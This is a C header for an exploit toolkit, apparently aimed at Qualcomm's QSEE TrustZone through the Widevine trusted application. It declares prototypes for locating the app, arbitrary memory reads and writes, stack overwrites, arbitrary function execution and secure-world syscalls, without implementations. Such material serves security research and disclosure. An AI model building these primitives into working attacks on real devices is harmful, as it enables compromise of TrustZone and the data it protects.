#ifndef __EXPLOIT_UTILITIES_H__
#define __EXPLOIT_UTILITIES_H__

#include "QSEEComAPI.h"

/**
 * The result corresponding with a probed value of 1
 */
#define ONE_RESULT (35)

/**
 * The result corresponding witha a probed value != 1
 */
#define NON_ONE_RESULT (24)

/**
 * An enumeration detailing the possible outcomes of testing for a marked page.
 */
enum page_mark_result {
	PAGE_MARKED,
	PAGE_NOT_MARKED,
	PAGE_INVALID
};

/**
 * Attempts to figure out if the given address corresponds to a "marked" page (in which
 * the sync pattern is written), by probing it at various locations and comparing to the
 * sync pattern.
 * @param handle The handle used to communicate with QSEECOM.
 * @param addr The address to be tested.
 * @return The corresponding "page_mark_result".
 */
int is_marked_page(struct qcom_wv_handle* handle, uint32_t addr);

/**
 * Attempts to find the Widevine application within the QSEE "secure apps region".
 * This is done by searching for a readable page in the region, then sequentially going
 * over each page and trying to find the sync pattern within it.
 * @param handle The handle used to communicate with QSEECOM.
 * @return The address of the application, or NULL if the application couldn't be found.
 */
void* find_widevine_application(struct qcom_wv_handle* handle);

/**
 * Writes the given value to the given address (and thrashes the 15 following DWORDS), by
 * sequentially generating a random value into the address, attempting to match one byte
 * at a time.
 * @param handle The handle used to communicate with QSEECOM.
 * @param val The value to the written.
 * @param addr The address to which the data is written.
 */
void write_dword_messy(struct qcom_wv_handle* handle, uint32_t val, uint32_t addr);

/**
 * Overwrites the stack at the given offset with the given stack values.
 * @param handle The handle used to communicate with QSEECOM.
 * @param stack The stack with which to overwrite the current stack.
 * @param stack_size The size of the stack to be overwritten.
 */
void overwrite_stack(struct qcom_wv_handle* handle, uint32_t* stack, uint32_t stack_size);

/**
 * Executes the given function within the application.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application (in the "secure apps" region).
 * @param function_address The address of the function being executed.
 * @param arg1 The first argument.
 * @param arg2 The second argument.
 * @param arg3 The third argument.
 * @param arg4 The fourth argument.
 * @return The return value from the function.
 */
int execute_function(struct qcom_wv_handle* handle, void* app, uint32_t function_address,
                     uint32_t arg1, uint32_t arg2, uint32_t arg3, uint32_t arg4);

/**
 * Writes the given value to the given address.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application.
 * @param value The value to be written.
 * @param address The address to which the value should be written.
 */
void write_dword(struct qcom_wv_handle* handle, void* app, uint32_t value, uint32_t address);

/**
 * Writes the bytes at the given buffer into the given TrustZone address.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application.
 * @param address The address to which the data is written.
 * @param data The data buffer (in the non-secure world) to be written.
 * @param length The length of the data to be written.
 */
void write_range(struct qcom_wv_handle* handle, void* app, uint32_t address, void* data, uint32_t length);

/**
 * Reads the DWORD at the given address from within TZ.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application.
 * @param address The address to be read.
 * @return The read DWORD.
 */
uint32_t read_dword(struct qcom_wv_handle* handle, void* app, uint32_t address);

/**
 * Allocates a buffer of the given size within TrustZone, and returns its address.
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application.
 * @param size The size to be allocated.
 * @return The allocated buffer's address.
 */
uint32_t tz_malloc(struct qcom_wv_handle* handle, void* app, uint32_t size);

/**
 * @param handle The handle used to communicate with QSEECOM.
 * @param app The base address of the application.
 * @param syscall_num The syscall's number.
 * @param arg1 The first argument.
 * @param arg2 The second argument.
 * @param arg3 The third argument.
 * @return The result of the syscall's execution.
 */
uint32_t qsee_syscall(struct qcom_wv_handle* handle, void* app, uint32_t syscall_num, uint32_t arg1, uint32_t arg2, uint32_t arg3);

#endif
